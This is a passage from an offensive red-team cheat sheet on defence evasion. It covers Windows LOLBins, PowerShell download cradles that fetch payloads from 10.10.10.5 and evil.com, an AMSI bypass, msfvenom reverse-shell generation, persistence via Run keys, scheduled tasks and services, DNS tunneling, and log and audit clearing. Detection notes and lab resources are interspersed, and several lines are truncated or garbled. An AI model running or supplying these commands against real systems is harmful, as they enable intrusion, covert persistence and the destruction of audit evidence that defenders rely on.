  rundll32.exe C:\Windows\System32\shell32.dll,ShellExec_RunDLL cmd.exe /c calc.exe
  # JavaScript execution technique

REGSVR32:
  regsvr32 /s /n /u /i:http://10.10.10.5/payload.sct scrobj.dll
  # Screaming Buddha / Squiblydoo - downloads and executes COM scriptlet

MSIEXEC:
  msiexec /q /i http://10.10.10.5/payload.msi
  msiexec /q /i payload.msi /L*V! C:\Temp\install.log   (verbose log - avoid)

BITSADMIN (deprecated but works):
  bitsadmin /transfer job /download /priority high http://10.10.10.5/payload.exe C:\Temp\p.exe
  bitsadmin /create job1
  bitsadmin /addfile job1 http://10.10.10.5/payload.exe C:\Temp\p.exe
  bitsadmin /resume job1

CMSTP:
  cmstp /s payload.inf
  # INF with Active Setup command execution

INSTALLUTIL:
  InstallUtil.exe /logfile= /LogToConsole=false payload.exe
  # .NET code execution, bypasses some AppLocker

MSBUILD:
  msbuild.exe payload.xml
  # Inline C# task execution

WMI:
  wmic os get
  wmic process call create "cmd.exe /c powershell -enc <base64>"
  # Persistent WMI subscriptions:
         wmic     /namespace:\\root\subscription     PATH     __EventConsumer     CREATE     Name="filt",
CommandLineTemplate="cmd /c ca

REG:
```

```
  reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
  # Registry as payload storage:
  reg add HKLM\SOFTWARE\MyApp /v payload /t REG_BINARY /d <shellcode_hex>

FORFILES:
  forfiles /p C:\Windows\System32 /m cmd.exe /c "cmd /c whoami"

BBODY / SILENTTRINITY / other C2: use these LOLBins for staging

------------------------------------------------------------------------------
7.2 PARENT PROCESS SPOOFING (PPID)
------------------------------------------------------------------------------

Make your process appear as a legitimate parent (e.g., explorer.exe
instead of cmd.exe):

Concept (CreateProcess API):
  STARTUPINFO si = {0};
  PROCESS_INFORMATION pi = {0};
  si.cb = sizeof(si);
  // 1. Open parent (explorer.exe) - need SeDebugPrivilege or same user
  // 2. InitializeProcThreadAttributeList
  // 3. UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)
  // 4. CreateProcess with EXTENDED_STARTUPINFO_PRESENT

PowerShell example (uses .NET P/Invoke - simplified concept):
  # Real implementations: PPID-Spoofing C2 tools, Cobalt Strike 'spawnf'

Tools:
  - Sysinternals: no native option (by design)
  - Cobalt Strike: spawnf, ppid spoofing in malleable C2
  - Mythic C2: option in create tasking
  - Custom C# / C++

EDR detection:
  Parent-child mismatch (e.g., services.exe -> notepad.exe)
  Cross-session processes
  Parent process without expected command line

------------------------------------------------------------------------------
7.3 ENCODED / OBFUSCATED POWERSHELL
------------------------------------------------------------------------------

Base64 encoded command:
  powershell -nop -w hidden -enc <base64_encoded_command>

Generate base64:
  PS > $cmd = "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5/p.ps1')"
  PS > [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))

Command line (no PowerShell profile, hidden window):
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

File download cradles (classic):
  IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5/p.ps1')
  Invoke-WebRequest -Uri http://10.10.10.5/p.ps1 -OutFile p.ps1
  (New-Object System.Net.WebClient).DownloadFile('http://10.10.10.5/p.exe','p.exe')
  certutil -urlcache -split -f http://10.10.10.5/p.exe p.exe
  bitsadmin /transfer job /download /priority high http://10.10.10.5/p.exe p.exe

String obfuscation:
  # Concatenation:
  $a = 'Inv'+'oke-Expression'
  # -replace / -f format:
  $x = '{0}{1}' -f 'IEX',' (New-Object Net.WebClient).DownloadString(...)'
  # Char array:
```

```
  -join([char[]](73,69,88,...))  # IEX...
  # Base64 decode in memory:
  [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64))

Invoke-Obfuscation (tool):
  https://github.com/danielbohannon/Invoke-Obfuscation
  PS > Import-Module Invoke-Obfuscation
  PS > Invoke-Obfuscation
  Obfuscation> SET SCRIPTPATH C:\payload.ps1
  Obfuscation> TOKEN\ALL\1
  Obfuscation> OUT C:\obf.ps1

PowerShell Empire / Covenant obfuscation options

--------------------------------------------------------------------------------
7.4 AMSI/ETW BYPASS VIA REFLECTION (full chain example)
--------------------------------------------------------------------------------

Educational full chain (conceptual):
  # 1. Bypass AMSI
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  # 2. Download and execute in-memory (no disk write)
  IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5/invoke-mimikatz.ps1')
  # 3. Clear history at end
  Remove-Item (Get-PSReadlineOption).HistorySavePath

EDR detection of this chain:
  - AMSI bypass pattern (signature + behavioral)
  - Unbacked memory (VirtualAlloc + RWX)
  - PowerShell downloading from external IP
  - LSASS access by PowerShell process (if using mimikatz)
  - AMSI content scan of the actual script text

================================================================================
8. OBFUSCATION & ANTI-ANALYSIS
================================================================================

--------------------------------------------------------------------------------
8.1 PAYLOAD OBFUSCATION TECHNIQUES
--------------------------------------------------------------------------------

Multi-stage (dropper -> in-memory payload):
  Stage 1: tiny dropper that is heavily obfuscated, downloads stage 2
  Stage 2: actual C2 agent, encrypted, decrypted in memory

Encryption of payload:
  # Simple XOR/AES encryption, key hardcoded
  # Decrypt in memory, never touch disk:
  $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  $aes.Key = [Convert]::FromBase64String($key)
  $aes.IV = [Convert]::FromBase64String($iv)
  $dec = $aes.CreateDecryptor().TransformFinalBlock($enc,0,$enc.Length)
  # $dec is the raw payload - load via Assembly.Load or P/Invoke

.NET in-memory execution (Cobalt Strike / various):
  [Reflection.Assembly]::Load($bytes)  # load .NET assembly
  [Type]::GetType("Namespace.Class").GetMethod("Main").Invoke($null,$null)

Shellcode loaders (C# / C++):
  VirtualAlloc + VirtualProtect + CreateThread (classic)
  Callback-based execution
  Fiber-based execution
  Syscall-based (direct Nt* syscalls, bypass userland hooks)
```

```
Msfvenom encoding (basic, signature-detected by AV):
  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=443 -e x86/shikata_ga_nai -i
3 -f ex
  # Encoders are NOT evasion - they only mutate signature, not behavior

--------------------------------------------------------------------------------
8.2 FILELESS / MEMORY-ONLY TECHNIQUES
--------------------------------------------------------------------------------

PowerShell in-memory:
  IEX (New-Object Net.WebClient).DownloadString('http://...')
  # No file written, executes in PS process memory

Registry as storage:
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -enc
..."
  # or store encrypted payload in registry, execute in memory

WMI persistence (no file):
  # __EventFilter + __EventConsumer + __FilterToConsumerBinding
  # Stored in repository, no standalone file

COM object hijacking:
  # Modify CLSID InprocServer32 to load your DLL
  # No new file if using existing DLL path

MSHTA / regsvr32 with remote SCT (no local file):
  regsvr32 /s /n /u /i:http://evil.com/x.sct scrobj.dll

AMSI + ETW bypass + in-memory = "fileless" attack chain

--------------------------------------------------------------------------------
8.3 SHELLCODE Evasion (ROP, syscalls)
--------------------------------------------------------------------------------

Userland EDR hooks: EDR installs hooks in ntdll.dll (NtAllocateVirtualMemory,
NtCreateThreadEx, NtWriteVirtualMemory, etc.)

Bypass hooking:
  1. Unhooking: re-read ntdll.dll from disk (KnownDlls), restore clean copy
     over the hooked in-memory copy, then call clean functions
     Tools: Syswhispers, Donut, inlineUnhook, various C2 frameworks
  2. Direct syscalls: use SYSCALL instruction directly with correct
     syscall numbers (SSN) from ntdll, bypassing hooks entirely
     Tools: Syswhispers3, Hell's Gate, Halo's Gate, Tartarus Gate
  3. Indirect syscalls: get SSN from hooked ntdll but invoke via
     unhooked syscall gadget

Process injection variants (T1055):
  - DLL Injection (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)
  - Process Hollowing (NtUnmapViewOfSection + Write + ResumeThread)
  - APC injection (QueueUserAPC)
  - Early Bird injection (before process main thread runs)
  - Module Stomping (load legit DLL, overwrite its memory)
  - Phantom DLL hollowing
  - Transacted hollowing
  - Process Doppelgänging (NTFS transactions)
  - Herpaderping
  - PROPagate injection
  - ListPlanting

EDR detection:
  - Cross-process memory writes
  - CreateRemoteThread into non-svchost
  - RWX memory transitions
```

```
  - Unsigned DLL injected into signed process
  - Sysmon 8 (CreateRemoteThread), Sysmon 10 (ProcessAccess)

================================================================================
9. NETWORK / C2 TRAFFIC EVASION
================================================================================

--------------------------------------------------------------------------------
9.1 ENCRYPTED C2 CHANNELS
--------------------------------------------------------------------------------

Use TLS for all C2 (malleable C2 profiles in Cobalt Strike):
  # HTTPS with valid certs (Let's Encrypt)
  # Domain fronting: HTTPS to trusted CDN (Azure, AWS CloudFront, Heroku)
  # Real domain != C2 domain (Host header routing)

Domain Fronting concept:
  Client -> CDN (allowed domain: azureedge.net) -> Host: evil.azureedge.net
  TLS shows azureedge.net SNI, but Host header routes to attacker infra
  NOTE: Many CDNs now block domain fronting (Google, Cloudflare)

--------------------------------------------------------------------------------
9.2 DNS TUNNELING (T1071.004)
--------------------------------------------------------------------------------

DNS is rarely blocked. Query domain encodes data.

Tools:
  dnscat2:
    # Server:
    dnscat2 --dns server=0.0.0.0,port=53 --no-cache
    # Client:
    dnscat2 evil.com

  iodine (IP-over-DNS tunnel):
    iodined -f -P secret 172.16.0.1 evil.com
    iodine -f -P secret evil.com

  dns2tcp:
    Server: dns2tcpd -F /etc/dns2tcpd.conf
    Client: dns2tcpc -f -z tunnel evil.com

Detection: high volume of TXT/MX queries, long subdomains, abnormal
DNS entropy score, slow beacon pattern over days.

--------------------------------------------------------------------------------
9.3 PROXY & EGRESS CONTROL
--------------------------------------------------------------------------------

Use proxy chains / egress through compromised hosts:
  proxychains nmap -sT -Pn target
  # /etc/proxychains4.conf: socks4 127.0.0.1 1080

Chisel (tunnel):
  # Server:
  chisel server --reverse --port 8080
  # Client:
  chisel client 10.10.10.5:8080 R:socks

Ligolo-ng (tunnel through agent):
  # Similar concept - route through compromised host

SSH tunnel as fallback:
  ssh -R 1080:127.0.0.1:1080 user@attacker
  # Proxy through compromised host's SSH
```

```
Traffic timing (T1029, T1071.001):
  # Low and slow: beacon every 60s with ±20% jitter
  # Avoid periodic fixed intervals (easy to detect)
  # Cobalt Strike malleable C2: jitter, sleep settings
  # HTTP GET with long delays between chunks

--------------------------------------------------------------------------------
9.4 LIVE-OFF-THE-LAND C2 (trusted domains)
--------------------------------------------------------------------------------

Use legitimate services as C2 channel (blend with normal traffic):
  - Slack / Microsoft Teams webhooks (outbound HTTPS to slack.com)
  - Discord webhooks
  - GitHub Gists / raw.githubusercontent.com (stage payloads)
  - Google Drive / OneDrive (stage files)
  - Pastebin / transfer.sh (staging)
  - Twitter / Reddit (dead drop resolver - C2 address hidden in tweet/post)

Detection: DNS to non-business domains, large outbound transfers,
unusual timing.

================================================================================
10. EDR / AV EVASION - ADVANCED CONCEPTS
================================================================================

--------------------------------------------------------------------------------
10.1 EDR ARCHITECTURE (know what you're evading)
--------------------------------------------------------------------------------

EDR components:
  1. Userland agent (hooks, telemetry, local detection)
  2. Kernel driver (minifilter for file, callbacks for process/thread,
     ObRegisterCallbacks, CmRegisterCallback for registry, ELAM driver)
  3. Cloud backend (ML, behavior analytics, threat intel)
  4. Console / SIEM integration

Detection methods you face:
  - Userland hooks (ntdll, kernel32, win32u)
  - Kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks)
  - Minifilter (file operations, IRP_MJ_*)
  - ETW providers (TI, AMSI, Defender)
  - AMSI content scanning
  - Cloud ML on behavior sequence
  - Memory scanning (YARA on process memory)
  - Parent-child tree analysis
  - Module load monitoring (Sysmon 7)
  - Syscall anomaly detection

--------------------------------------------------------------------------------
10.2 UNHOOKING NT.DLL
--------------------------------------------------------------------------------

Concept: Restore clean ntdll.dll from KnownDlls section, overwriting
hooks the EDR installed in userland.

Steps:
  1. Open \\KnownDlls\\ntdll.dll section
  2. MapViewOfFile (clean copy)
  3. VirtualProtect in-memory ntdll to RWX
  4. Copy clean bytes over hooked ntdll
  5. Restore protections

Tools implementing this:
  - Syswhispers + Syscalls libraries
  - inlineHook (various GitHub repos)
```

```
  - Cobalt Strike BOF (unhookNTDLL)
  - SharpSploit, GhostPack (Rubeus, Seatbelt use techniques)

EDR countermeasure:
  - Kernel-level detection (detect VirtualProtect on ntdll)
  - Re-check hooks periodically
  - Kernel callbacks still fire regardless of userland hooks

--------------------------------------------------------------------------------
10.3 DIRECT / INDIRECT SYSCALLS
--------------------------------------------------------------------------------

Direct syscall (conceptual assembly):
  mov r10, rcx          ; NT syscall convention
  mov eax, <SSN>        ; syscall number (e.g., 0x18 for NtAllocateVirtualMemory)
  syscall
  ret

Syswhispers3 generates:
  NtAllocateVirtualMemorySSN equ 0x18
  Sw3NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, NtAllocateVirtualMemorySSN
    syscall
    ret
  Sw3NtAllocateVirtualMemory ENP

Hells Gate: dynamically resolve SSN from clean ntdll at runtime
Halo's Gate: if ntdll hooked, search neighboring functions for SSN
Tartarus Gate: resolve via syscall gadget search

--------------------------------------------------------------------------------
10.4 PROCESS INJECTION (T1055)
--------------------------------------------------------------------------------

Classic DLL Injection (detected by EDR):
  1. OpenProcess(PROCESS_ALL_ACCESS)
  2. VirtualAllocEx(target, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  3. WriteProcessMemory(target, buffer, shellcode)
  4. CreateRemoteThread(target, start=shellcode)
  5. WaitForSingleObject

Detection: Sysmon 8 (CreateRemoteThread), Sysmon 10 (ProcessAccess),
ObRegisterCallbacks (blocks OpenProcess on lsass)

Process Hollowing (T1055.012):
  1. CreateProcess(suspended)
  2. NtUnmapViewOfSection(target, base)
  3. VirtualAllocEx at target base
  4. WriteProcessMemory (PE headers + sections)
  5. SetThreadContext (update entry point)
  6. ResumeThread

Module Stomping:
  1. Load legitimate DLL into target (LoadLibrary via CreateRemoteThread)
  2. Overwrite DLL's .text section with shellcode
  3. Execute via CreateRemoteThread pointing into DLL

EDR detection: Sysmon 7 (Image/Module Load), memory protection changes,
unsigned module in signed process.

--------------------------------------------------------------------------------
10.5 AMSI/ETW/PatchGuard INTERACTION
--------------------------------------------------------------------------------

PatchGuard (Kernel Patch Protection):
```

```
  - Patches to kernel (ntoskrnl, SSDT) trigger BSOD
  - Userland only: ETW, AMSI can be patched
  - Direct kernel objects (DKOM) - rootkit territory, PatchGuard detects

ELAM (Early Launch Antimalware):
  - AV/EDR driver loads first, validates other drivers
  - Blocks unsigned/malicious drivers from loading
  - Bypass requires signed vulnerable driver (bring your own vulnerable
    driver - BYOVD) - advanced, out of scope for most labs

BYOVD (Bring Your Own Vulnerable Driver):
  - Use legitimately signed but vulnerable driver to disable EDR
  - Example: Dell dbutil_2_3.sys, various Intel drivers
  - Dangerous: can BSOD or brick system

--------------------------------------------------------------------------------
10.6 TOKEN MANIPULATION FOR STEALTH
--------------------------------------------------------------------------------

Impersonate a legitimate high-privilege token:
  - Steal SYSTEM token from svchost (SeDebugPrivilege needed)
  - CreateProcessWithTokenW with stolen token
  - Your action appears as SYSTEM (blends with services)

Concept (P/Invoke):
  OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE)
  DuplicateTokenEx(..., SecurityImpersonation)
  ImpersonateLoggedOnUser(token)

EDR detection:
  - Token manipulation events
  - Cross-user process creation
  - LSASS access (Sysmon 10) - detects credential theft

================================================================================
11. ANTI-FORENSICS & ARTIFACT CLEANUP
================================================================================

--------------------------------------------------------------------------------
11.1 LINUX ARTIFACTS TO CLEAR
--------------------------------------------------------------------------------

  # Shell history
  rm -f ~/.bash_history ~/.zsh_history ~/.python_history
  # OR better: disable before use
  export HISTFILE=/dev/null

  # Log files you touched
  # (see section 4 for specifics)

  # Cron jobs
  crontab -r  (if you only added your job)
  rm /etc/cron.d/backdoor
  # Check other cron dirs:
  ls -la /etc/cron.*/ /var/spool/cron/

  # SSH persistence
  rm /root/.ssh/authorized_keys.bak   (if you created)
  sed -i '/your_key/d' /root/.ssh/authorized_keys

  # Temp files
  rm -rf /tmp/* /var/tmp/* 2>/dev/null

  # Process memory (unmaps):
  # Your process must exit cleanly
```

```
  # Network artifacts
  history -c
  # arp cache:
  ip neigh flush all
  # connection tracking (if accessible):
  conntrack -F

  # Package manager history (if you installed tools):
  # apt: rm /var/log/apt/history.log
  # yum: rm /var/log/yum.log
  # Pacman: rm /var/log/pacman.log

  # Failed login counters:
  > /var/log/btmp

  # utmp/wtmp:
  > /var/log/utmp
  > /var/log/wtmp

  # bash completions / dirs:
  rm -rf /tmp/.X11-unix/* 2>/dev/null  (if you used X11)

--------------------------------------------------------------------------------
11.2 WINDOWS ARTIFACTS TO CLEAR
--------------------------------------------------------------------------------

  # PowerShell history
  Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force

  # CMD history (memory only - cleared on exit, but check)
  # doskey /history (shows current session)

  # Prefetch (your tool names)
  del C:\Windows\Prefetch\POWERSHELL*.pf
  del C:\Windows\Prefetch\CMD*.pf
  del C:\Windows\Prefetch\MIMIKATZ*.pf
  # (or disable prefetch entirely - visible change)

  # Recent files / LNK
  Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Recurse -Force

  # Recycle Bin
  Clear-RecycleBin -Force

  # DNS cache
  ipconfig /flushdns

  # ARP
  arp -d *

  # Event logs (selective, see section 5)
  wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  # DO NOT clear Security unless absolutely necessary (1102 alarm)

  # Shimcache / AmCache / SRUM (see 5.11)

  # Windows Error Reporting artifacts:
  rm -rf C:\ProgramData\Microsoft\Windows\WER\ReportArchive\*
  rm -rf C:\ProgramData\Microsoft\Windows\WER\ReportQueue\*

  # Thumbnail cache
  del %LOCALAPPDATA%\Thumbcache_*.db

  # SRUM (network + app history database):
  del C:\Windows\System32\sru\SRUDB.dat

  # MFT / USN journal (file operation history):
```

```
  fsutil usn deletejournal /d C:

--------------------------------------------------------------------------------
11.3 MEMORY ANTI-FORENSICS
--------------------------------------------------------------------------------

  # Clear command history from process memory (advanced):
  # - Use direct syscalls instead of Win32 APIs (no userland logs)
  # - Clear sensitive strings from memory after use (RtlSecureZeroMemory)
  # - UnmapViewOfSection to remove DLLs from memory
  # - Use reflective loading (no module list entry in PEB)

  # Dump extraction defense:
  # - Disable core dumps on Linux: ulimit -c 0
  # - Windows: Disable WER (Windows Error Reporting)
  # - Or ensure payload is encrypted in memory, key zeroed after use

================================================================================
12. ADVANCED TECHNIQUES
================================================================================

--------------------------------------------------------------------------------
12.1 LOG INJECTION / FLOODING (T1070 / noise)
--------------------------------------------------------------------------------

Idea: Generate so much legitimate log noise that your malicious entries
are buried / SIEM alert fatigue sets in.

Techniques:
  - Rapid failed logins (flood Security log with 4625)
  - Rapid file creates (flood Sysmon 11)
  - Rapid DNS queries (flood DNS logs)
  - Rapid scheduled task creates (flood 4698)
  - PowerShell script spam (flood 4104)

Countermeasure (defender):
  - Separate high-fidelity sources (Sysmon, EDR) from noisy logs
  - Rate-limit / aggregation rules
  - Anomaly detection on log volume

--------------------------------------------------------------------------------
12.2 LOG CORRUPTION / API HOOKING
--------------------------------------------------------------------------------

Hook the Event Write API in memory to drop events before they're written:

  # Hook ReportEventW (kernel32) or EtwEventWrite (ntdll)
  # When Event ID == 4688 or 1102, skip the write

This is rootkit-like behavior, detected by:
  - EDR memory integrity checks
  - Code integrity / HVCI
  - ELAM driver validation

--------------------------------------------------------------------------------
12.3 KERNEL ROOTKITS (T1014) - concept only
--------------------------------------------------------------------------------

Hide: processes, files, network connections, registry keys, modules

Methods:
  - SSDT hooking (PatchGuard detects on x64)
  - DKOM (Direct Kernel Object Manipulation) - hide from PsActiveProcessHead
  - Minifilter drivers (hide files)
  - Netfilter hooks (hide network)
  - Hypervisor rootkits (Blue Pill concept)
```

```
Modern defenses:
  - HVCI (Hypervisor-protected Code Integrity)
  - PatchGuard
  - ELAM
  - Kernel DMA Protection
  - Secure Boot

NOTE: Writing kernel rootkits is advanced, OS-version-specific, and
breaks easily. Out of scope for most red team labs.

--------------------------------------------------------------------------------
12.4 ETW EVENT TAMPERING
--------------------------------------------------------------------------------

ETW providers feed Windows + many EDRs.

  # Unregister a provider (requires admin):
  # Or patch EtwEventWrite in memory (see 5.6)

  # Kernel ETW (Event Tracing for Windows kernel sessions):
  # logman stop -ets
  # logman query -ets  (list sessions)
  # logman delete <name> -ets

  # Stop system logger:
  logman stop "EventLog-System" -ets

--------------------------------------------------------------------------------
12.5 PERSISTENCE WITHOUT ARTIFACTS
--------------------------------------------------------------------------------

Registry Run keys (noisier - Sysmon 13, autoruns tools):
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /d "powershell -enc ..." /f

WMI permanent event subscription (no file):
  # Filter: __InstanceCreationEvent on Win32_Process, name = "cmd.exe"
  # Consumer: CommandLineTemplate = "powershell -enc ..."
  # Binding: __FilterToConsumerBinding
  # Stored in WMI repository, no standalone file

Scheduled task (noisier - Event 4698):
  schtasks /create /tn "WindowsUpdate" /tr "powershell -enc ..." /sc daily /st 09:00

Startup folder (noisier):
  copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

Service creation (Event 7045 - very noisy):
  sc create Backdoor binPath= "C:\Temp\p.exe" start= auto

DLL hijacking / search order hijacking (T1574):
  # Place malicious DLL in directory searched before legit one
  # No registry/log entries for the DLL itself

COM hijacking (T1546.015):
  # Modify HKCU CLSID InprocServer32 to load your DLL
  # HKCU takes precedence over HKLM

Scheduled task via XML (less noisy in some cases):
  schtasks /create /xml malicious.xml /tn TaskName

================================================================================
13. BLUE TEAM PERSPECTIVE: WHAT DETECTS YOU
================================================================================

As a red teamer, you MUST know what blue teams see:

--------------------------------------------------------------------------------
```

13.1 SIEM / LOG MONITORING

Alerts that fire when you:
- Clear ANY event log (Event 1102)
- Disable audit policy (auditpol changes)
- Clear PS history
- Disable Script Block Logging
- Delete shadow copies (vssadmin)
- Install new service (7045)
- Create scheduled task (4698)
- Add firewall rule
- Modify registry Run keys (Sysmon 13)
- Create WMI subscription (Sysmon 19)
- Access LSASS (Sysmon 10)
- Inject into process (Sysmon 8)
- Write to Startup folder
- Use certutil for download
- Use mshta / regsvr32 with remote URL

13.2 EDR DETECTIONS

Behavioral chains EDRs catch:
Word -> PowerShell (unusual parent-child)
PowerShell -> Download cradle -> In-memory execution
cmd.exe -> mshta with remote URL
services.exe spawning interactive process
Process with RWX memory + network access
Unsigned code injection into signed process
AMSI bypass attempts
ETW patching attempts
LSASS handle access by non-LSASS process

13.3 NETWORK DETECTIONS

- Beaconing patterns (regular intervals)
- DNS tunneling (entropy, volume, subdomain length)
- Certificate anomalies (self-signed, mismatched SNI)
- JA3/JA3S fingerprinting of TLS clients
- HTTP headers anomalies
- Large data transfers
- Connections to known-bad C2 infrastructure (threat intel)

13.4 FILE INTEGRITY MONITORING (FIM)

Tools: OSSEC, Wazuh, Tripwire, AIDE, Qualys FIM

Detects:
- Modified /etc/passwd, /etc/shadow, authorized_keys
- Modified system binaries
- New cron jobs
- Modified audit rules
- Modified systemd services
- Windows: modified system32 DLLs, drivers

13.5 HONEYPOT / DECOY TECHNIQUES

Blue teams plant fake credentials, fake files, fake admin shares:

- Canarytokens (canarytokens.org): tripwire files, DNS canaries
- Fake SSH keys in honeypot
- Honey user accounts in AD
- Honey files with unique identifiers (breadcrumb tokens)
- Fake cron jobs / services that alert when executed

Red team OPSEC: verify targets are real before interacting.

14. MITIGATIONS YOU MUST EVADE

Windows:
- Centralized logging (WEF - Windows Event Forwarding)
- Sysmon with comprehensive config
- PowerShell Constrained Language Mode
- AppLocker / WDAC (application whitelisting)
- Credential Guard
- Attack Surface Reduction (ASR) rules
- AMSI + ETW + Defender ATP / MDE
- HVCI / Memory Integrity
- LAPS (Local Admin Password Solution)
- Protected Process Light (PPL) on lsass, csrss
- JEA (Just Enough Administration) on PowerShell remoting

Linux:
- auditd with immutable rules (auditctl -e 2)
- SELinux / AppArmor
- central syslog/journald with remote forwarding
- Wazuh / OSSEC HIDS
- file integrity monitoring
- PAM configuration / pam_exec logging
- sshd hardening (PermitRootLogin no, key-only)
- fail2ban
- eBPF-based monitoring (Falco, Cilium Tetragon)

Network:
- Egress filtering (only allow needed outbound)
- DNS filtering (Cisco Umbrella, Infoblox)
- TLS inspection at proxy
- NetFlow monitoring
- NDR (Network Detection & Response)
- Certificate pinning on critical apps

15. FULL OPSEC CLEANUP CHECKLIST (ENGAGEMENT END)

Pre-engagement:
- [ ] Document all IPs, hostnames, accounts used
- [ ] Get written authorization (scope, rules of engagement)
- [ ] Set up logging for YOUR OWN ops (Cobalt Strike logs, tmux logging)
- [ ] Confirm no production impact expected

During engagement:
- [ ] Use dedicated attack infrastructure
- [ ] Encrypt all C2 traffic
- [ ] Use low-and-slow timing
- [ ] Avoid destructive actions
- [ ] Clear PS/bash history after each session
- [ ] Clear specific artifacts you created (temp files, tools)
- [ ] Do NOT clear entire logs (too noisy)

```
  [ ] Document every action for the report

Post-engagement:
  [ ] Remove all backdoors, persistence, accounts, tasks, services
  [ ] Clear bash/PS history of operator commands
  [ ] Remove tools from disk (sdelete / shred)
  [ ] Clear temp dirs (/tmp, C:\Temp, %TEMP%)
  [ ] Clear DNS/ARP caches
  [ ] Flush prefetch / recent files if applicable
  [ ] Delete event logs ONLY if contract allows AND you accept 1102 risk
  [ ] Restore original configs (audit policy, Defender, Sysmon)
  [ ] Remove exclusions added to AV
  [ ] Rotate any credentials you created
  [ ] Remove SSH keys / authorized_keys entries added
  [ ] Verify no lingering processes / scheduled tasks / services
  [ ] Report all findings with evidence
```

16. LAB PRACTICE IDEAS & RESOURCES

16.1 PRACTICE LABS

```
  TryHackMe:
    - "Blue" room (blue team)
    - "SOC Level 1" path
    - "Windows Event Logs & Attacks"
    - "Splunk SOC" rooms
    - "Bounty Hacker" (basic Linux log evasion practice)

  HackTheBox:
    - "CyberDefenders" challenges
    - "Shibes" (log analysis)
    - Various Windows machine challenges

  CyberDefenders (cyberdefenders.org):
    - Free blue team CTFs (good for understanding detection)

  LetsDefend.io:
    - SOC analyst platform, hands-on detection

  Purple Team Labs:
    - "DetectionLab" (Vagrant + WEF + Splunk + Sysmon)
    - "Atomic Red Team" (atomic test executions)
    - "CALDERA" (MITRE adversary emulation)
```

16.2 ATOMIC RED TEAM

```
  # Install:
  git clone https://github.com/redcanaryco/atomic-red-team
  # Run individual tests (mapped to ATT&CK techniques):
  Invoke-AtomicTest T1070.001
  Invoke-AtomicTest T1562.001
  # This lets you test YOUR detection coverage for each technique
```

16.3 TOOLS TO LEARN

```
  Offensive:
    - Cobalt Strike / Mythic / Sliver / Havoc (C2)
```

```
    - Impacket (SMB, WinRM, PsExec)
    - Rubeus, Seatbelt, SharpHound (AD)
    - CrackMapExec / NetExec
    - Mimikatz
    - Certipy (AD CS attacks)
    - BloodHound / SharpHound

  Evasion:
    - Invoke-Obfuscation
    - AMSITrigger (find AMSI-triggering strings)
    - ScareCrow, NimPackT, Donut (payload conversion)
    - Syswhispers, Hell's Gate (syscalls)
    - SharpBlock, inlineHook (unhooking)
    - phant0m (kill Sysmon)

  Defensive (to understand what you face):
    - Sysmon (Sysinternals)
    - Wazuh / OSSEC
    - Zeek (network)
    - Velociraptor (forensics)
    - KAPE (artifact collection)

--------------------------------------------------------------------------------
16.4 KEY READING
--------------------------------------------------------------------------------

  - MITRE ATT&CK: https://attack.mitre.org/tactics/TA0005/
  - LOLBAS: https://lolbas-project.github.io/
  - GTFOBins: https://gtfobins.github.io/
  - PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
  - Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
  - MITRE Engenuity ATT&CK Evaluations
  - "The Red Team Field Manual" (RTFM)
  - "Operator's Guide" by various C2 projects

--------------------------------------------------------------------------------
16.5 HOME LAB SETUP
--------------------------------------------------------------------------------

  Windows:
    - Windows 10/11 VM (Evaluation ISOs from Microsoft)
    - Sysmon + SwiftOnSecurity config
    - Sysinternals suite
    - Atomic Red Team
    - Wireshark (capture your own traffic)
    - Process Monitor / Process Explorer

  Linux:
    - Kali / Parrot (attacker)
    - Ubuntu / CentOS target
    - auditd + Wazuh agent
    - rsyslog to central server
    - Zeek / Suricata on network tap

  Detection stack (defender):
    - Wazuh (HIDS + SIEM, free)
    - ELK stack
    - Security Onion (full NSM distro)

================================================================================
17. QUICK CHEAT SHEET
================================================================================

LINUX QUICK COMMANDS:
  # Disable history
```

```
  export HISTFILE=/dev/null; unset HISTFILE; history -c
  # Clear logs
  truncate -s 0 /var/log/auth.log
  > /var/log/syslog
  > /var/log/wtmp; > /var/log/btmp
  journalctl --vacum-size=1K
  # Disable auditd
  auditctl -D
  auditctl -e 0
  # Timestomp
  touch -d "2020-01-01 00:00:00" file
  # Secure delete
  shred -vfzun 5 file
  # RAM execution
  cp payload /dev/shm/x && chmod +x /dev/shm/x && /dev/shm/x

WINDOWS QUICK COMMANDS:
  # Clear PS history
  Remove-Item (Get-PSReadlineOption).HistorySavePath
  # Clear specific event logs
  wevtutil cl Security
  wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  wevtutil cl "Microsoft-Windows-Sysmon/Operational"
  # Disable logging
  wevtutil sl Security /e:false
  # Disable audit
  auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable
  # Disable Script Block Logging
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /f
  # AMSI bypass (classic - educational)

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,
Stati
  # Timestomp
